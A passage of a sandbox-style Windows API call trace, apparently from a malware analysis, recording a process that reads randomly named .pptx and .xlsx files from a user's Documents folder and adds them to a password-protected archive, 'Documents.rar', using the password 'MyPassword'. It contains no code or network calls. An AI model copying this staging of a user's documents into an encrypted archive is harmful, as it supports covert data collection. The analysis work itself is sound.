nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x65ff, lpOverlapped=0x0) returned 1 [0083.691] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9463f, nNumberOfBytesToRead=0xf9a01, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9463f*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.691] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.691] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.691] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e888ea0 [0083.691] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.691] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.691] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e889120 [0083.691] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.691] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.691] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.692] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079950 | out: hHeap=0x1162e7c0000) returned 1 [0083.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.692] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888ea0 [0083.692] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205e270 [0083.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0083.692] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e270 | out: hHeap=0x1162e7c0000) returned 1 [0083.692] GetTickCount () returned 0x2ab88 [0083.692] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17502047160) returned 1 [0083.692] GetTickCount () returned 0x2ab88 [0083.692] GetTickCount () returned 0x2ab88 [0083.692] GetTickCount () returned 0x2ab88 [0083.692] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.692] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.692] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.692] ResetEvent (hEvent=0x344) returned 1 [0083.693] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.693] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.696] ResetEvent (hEvent=0x344) returned 1 [0083.696] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.696] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.700] GetTickCount () returned 0x2ab98 [0083.700] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17502846151) returned 1 [0083.700] GetTickCount () returned 0x2ab98 [0083.700] GetTickCount () returned 0x2ab98 [0083.700] GetTickCount () returned 0x2ab98 [0083.700] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.700] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.700] GetFocus () returned 0x1031c [0083.700] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.700] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.700] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.700] GetFocus () returned 0x1031c [0083.700] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.702] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.702] ResetEvent (hEvent=0x33c) returned 1 [0083.702] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.702] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.703] ResetEvent (hEvent=0x33c) returned 1 [0083.703] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.703] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.704] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.704] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.704] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1e2f21 [0083.704] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1e2f8c [0083.704] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.704] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.704] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.704] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.704] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x6640, lpOverlapped=0x0) returned 1 [0083.705] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.705] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.705] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1978145, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e2f21 [0083.705] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1e2f21 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.705] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888810 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.705] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e889440 [0083.705] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.705] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.705] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079950 | out: hHeap=0x1162e7c0000) returned 1 [0083.705] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.705] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888680 [0083.705] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888680, Size=0x7a) returned 0x1163205ca40 [0083.705] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205ca43*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205ca43*, lpNumberOfBytesWritten=0x141a0d82c0*=0x6b, lpOverlapped=0x0) returned 1 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.705] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6b) returned 0x1163204e5f0 [0083.705] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889440 | out: hHeap=0x1162e7c0000) returned 1 [0083.705] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205ca40 | out: hHeap=0x1162e7c0000) returned 1 [0083.705] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e95cc [0083.705] CloseHandle (hObject=0x350) returned 1 [0083.706] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.706] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.706] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.706] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.706] FindFirstFileW (in: lpFileName="FoGmW sbJbVrE-.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.706] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.706] CreateFileW (lpFileName="FoGmW sbJbVrE-.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fogmw sbjbvre-.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.706] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.706] GetTickCount () returned 0x2ab98 [0083.706] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.706] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.706] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.706] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.706] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="eBvOtmtGs9oVXiPynY.xlsx") returned 23 [0083.706] SetWindowTextW (hWnd=0x10300, lpString="FoGmW sbJbVrE-.pptx") returned 1 [0083.707] GetTickCount () returned 0x2ab98 [0083.707] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.707] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.707] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.707] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.707] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0xc2)) [0083.707] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.707] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17503586839) returned 1 [0083.707] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x1c42, lpOverlapped=0x0) returned 1 [0083.708] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8fc82, nNumberOfBytesToRead=0xfe3be, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8fc82*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.708] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.708] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.708] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e888ea0 [0083.708] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.708] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.708] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e888fe0 [0083.708] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.708] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.708] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.708] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.708] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.708] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.708] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888f40 [0083.708] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888f40, Size=0x7a) returned 0x1163205d460 [0083.708] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888fe0 | out: hHeap=0x1162e7c0000) returned 1 [0083.708] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d460 | out: hHeap=0x1162e7c0000) returned 1 [0083.709] GetTickCount () returned 0x2ab98 [0083.709] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17503848586) returned 1 [0083.710] GetTickCount () returned 0x2ab98 [0083.710] GetTickCount () returned 0x2ab98 [0083.710] GetTickCount () returned 0x2ab98 [0083.710] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.710] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.710] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.710] ResetEvent (hEvent=0x344) returned 1 [0083.710] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.710] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.717] ResetEvent (hEvent=0x344) returned 1 [0083.717] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.718] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.718] GetTickCount () returned 0x2aba7 [0083.719] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17504714568) returned 1 [0083.719] GetTickCount () returned 0x2aba7 [0083.719] GetTickCount () returned 0x2aba7 [0083.719] GetTickCount () returned 0x2aba7 [0083.719] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.719] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.719] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.719] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.719] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.719] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1e95cc [0083.719] SetFilePointer (in: hFile=0x32c, lDistanceToMove=101, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1e9631 [0083.719] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.719] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.719] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.719] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.719] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x1c70, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x1c70, lpOverlapped=0x0) returned 1 [0083.720] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.720] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.720] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2004428, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e95cc [0083.720] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1e95cc [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.720] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e888ea0 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.720] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888900 [0083.720] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.720] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.720] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.720] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.720] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888ea0 [0083.720] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205dfa0 [0083.720] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205dfa3*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205dfa3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x65, lpOverlapped=0x0) returned 1 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.720] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x65) returned 0x1162e7f98b0 [0083.720] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.720] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205dfa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.720] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1eb2a1 [0083.720] CloseHandle (hObject=0x350) returned 1 [0083.720] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.720] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.720] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.721] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.721] FindFirstFileW (in: lpFileName="g9y9 K 4j.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.721] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.721] CreateFileW (lpFileName="g9y9 K 4j.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\g9y9 k 4j.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.721] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.721] GetTickCount () returned 0x2aba7 [0083.721] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.721] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.721] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.721] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.721] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="FoGmW sbJbVrE-.pptx") returned 19 [0083.721] SetWindowTextW (hWnd=0x10300, lpString="g9y9 K 4j.pptx") returned 1 [0083.722] GetTickCount () returned 0x2aba7 [0083.722] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.722] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.722] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.722] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.722] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0xd2)) [0083.722] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.722] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17505072750) returned 1 [0083.722] ReadFile 